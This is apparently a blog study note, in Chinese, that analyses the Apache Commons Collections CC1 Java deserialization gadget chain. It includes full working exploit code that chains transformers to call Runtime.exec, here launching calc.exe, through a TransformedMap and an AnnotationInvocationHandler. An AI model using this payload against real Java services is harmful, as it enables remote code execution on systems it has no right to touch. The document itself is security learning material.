赞
踩
apache commons-collections组件下的反序列化漏洞,自从该组件被爆出漏洞后,许多安全研究员相继挖掘到java多种组件的漏洞,危害严重。本人也是初学Java审计不久,技术薄弱,所以在此做一个cc链的学习总结,如有错误还请大佬指出。
若本文有侵权行为,请立即私信,将全面修正。
JDK1.8
Apache Commons Collections 3.2版本
序列化是将对象的状态信息转换为可以存储或传输的形式的过程,通俗的说,就是将对象转换成另一种形式,以方便跨平台存储和网络传输。
反序列化则是将上述过程反过来进行的操作。
在Java中任何一个对象必须要实现Serializable接口才可以执行序列化和反序列化操作。
反序列化漏洞成因:Java对象在数据的传输过程中,是以序列化的的数据进行传输,当传输至服务端时进行反序列化操作时,会调用被反序列化对象的readObject()方法。若该类重写了readObject()方法,存在一些危险操作,便会开始执行。
在分析前,先看一下大佬的payload,接下来一步步分析
- package com.example;
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.map.TransformedMap;
- import java.io.*;
- import java.lang.annotation.Target;
- import java.lang.reflect.Constructor;
- import java.lang.reflect.Method;
- import java.util.HashMap;
- import java.util.Map;
-
- public class App implements Serializable {
-
- public static void main(String[] args) throws Exception{
- //transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组
- Transformer[] transformers = new Transformer[]{
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
- new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
- new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
- };
-
- //transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作
- Transformer transformerChain = new ChainedTransformer(transformers);
-
- //Map数据结构,转换前的Map,Map数据结构内的对象是键值对形式,类比于python的dict
- Map map = new HashMap();
- map.put("value", "test");
-
- //Map数据结构,转换后的Map
- /*
- TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。
- 第一个参数为待转化的Map对象
- 第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
- 第三个参数为Map对象内的value要经过的转化方法。
- */
- //TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null));
- Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
-
- //反射机制调用AnnotationInvocationHandler类的构造函数
- //forName 获得类名对应的Class对象
- Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
- //通过反射调用私有的的结构:私有方法、属性、构造器
- //指定构造器
-
- Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
- //取消构造函数修饰符限制,保证构造器可访问
- ctor.setAccessible(true);
-
- //获取AnnotationInvocationHandler类实例
- //调用此构造器运行时类的对象
- Object instance=ctor.newInstance(Target.class, transformedMap);
-
- //序列化
- FileOutputStream fileOutputStream = new FileOutputStream("serialize.txt");
- ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
- objectOutputStream.writeObject(instance);
- objectOutputStream.close();
-
- //反序列化
- FileInputStream fileInputStream = new FileInputStream("serialize.txt");
- ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
- Object result = objectInputStream.readObject();
- objectInputStream.close();
- System.out.println(result);
- }
- }
1)Tranformer接口
通过对大佬文章的学习,漏洞主要运用ChainedTransformer、ConstantTransformer、InvokerTransformer这三个类。这三个类都是实现了Transformer接口的类,该接口包含了一个transform方法,以使每个实现了该接口的类可以进行固定类型的转化。
- package org.apache.commons.collections;
- public interface Transformer {
-
-
- public Object transform(Object input);
-
- }
ConstantTransformer类的transform方法
该类中的transform方法:接受一个对象返回一个常量,无论接收什么对象都返回 iConstant。
InvokerTransformer类中的transform方法
该类中的transform方法:接收一个对象,通过Java的反射机制获取该对象的运行时类和方法,并进行反射调用。其中方法值、参数等均是可控的。
该类 中的transform方法:当传入的是一个数组时候,开始循环读取,对每个参数都会调用transform方法,并将前一个对象的transform方法的返回值,当作下一个对象的transfrom方法的参数值进行调用。
到目前为止,我们先对payload的核心利用链进行分析
a)这是一个构造好的Transformer数组,包含三个上面所提到的类的对象
b)new一个ChainedTransformer类的对象,将transformer数组传入。经过ChainedTransformer把数组中的类链接到一起,构成调用链。
c)此时直接调用transformerChain的transform方法便可以执行。简单说一下过程:
首先得到Runtime.class,接着通过反射调用获取到Runtime.getRuntime( ),此时并未开始执行,随后通过invoke方法将Runtime.getRuntime( )唤醒执行,得到了Runtime实例对象,最后获取到Runtime实例的exec方法,并执行calc.exe。
注:详情请见大佬文章Java反序列化漏洞分析 - FreeBuf网络安全行业门户
2)TransformedMap类
在1)上讲解了不同的实现了Tranformer接口的类中transform方法的链式执行,这只是我们手动去写代码进行执行。而该cc链要如何利用?从1)中的核心链执行结果来看,就是要找到ChainedTransformer类中的transform方法在哪里被调用了,然后继续寻找上层的调用,最终寻找到readObject方法。
a)TransformedMap类中 checkSetValue 中调用了 transform 方法
看一下他的构造函数
接收一个Map,并将keyTransformer、valueTransformer进行赋值,但是构造方法是protected类型。
b)向上寻找,找到了decorate方法,返回一个可以自定义的TransformedMap类
3)AbstractInputCheckedMapDecorator类
这里面的静态内部类MapEntry的setValue方法调用了2)中 checkSetValue方法,同时TransformedMap类是AbstractInputCheckedMapDecorator类的子类,再去寻找其父类
有一个点:TransformedMap类继承于-->AbstractInputCheckedMapDecorator.MapEntry类继承于-->AbstractMapEntryDecorator类实现了-->Map.Entry接口,因此我们便可以利用Map来使代码执行。
也就是payload中的
4)AnnotationInvocationHandler类
这里需要导入sun包源码,方便调试,导入方法大佬们应该都会,我就不写了
源码下载地址:jdk8u/jdk8u/jdk: af660750b2f4
继续寻找上层的调用函数,去寻找哪个方法调用了setValue方法,AnnotationInvocationHandler类中的readObject方法调用了setValue方法,终于找到了readObject方法,这正是我们想要的。
看一下readObject方法代码,发现了setValue方法。
看一下构造函数,这个Map我们可以控制,可以利用我们上面构造好的map。
5)序列化和反序列化
payload最后这部分就很简单了,获取AnnotationInvocationHandler类的对象并将我们构造好的transformedMap传入,反序列化之后,就会造成反序列化漏洞。
开始研究Java安全,有一个星期左右,狂补各种Java基础和开发基础,也仅仅是做了一个学习笔记,以后自己可以翻看。
用了三天时间,参考各类大佬的文章,终于搞懂了CC链。本文也是简单分析了CC链的过程,比较浅显,尚有不足,很多细节还需要去学习。
Java安全入门(二)——CC链1 分析+详解_ErYao7的博客-CSDN博客
Java反序列化漏洞分析 - FreeBuf网络安全行业门户
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。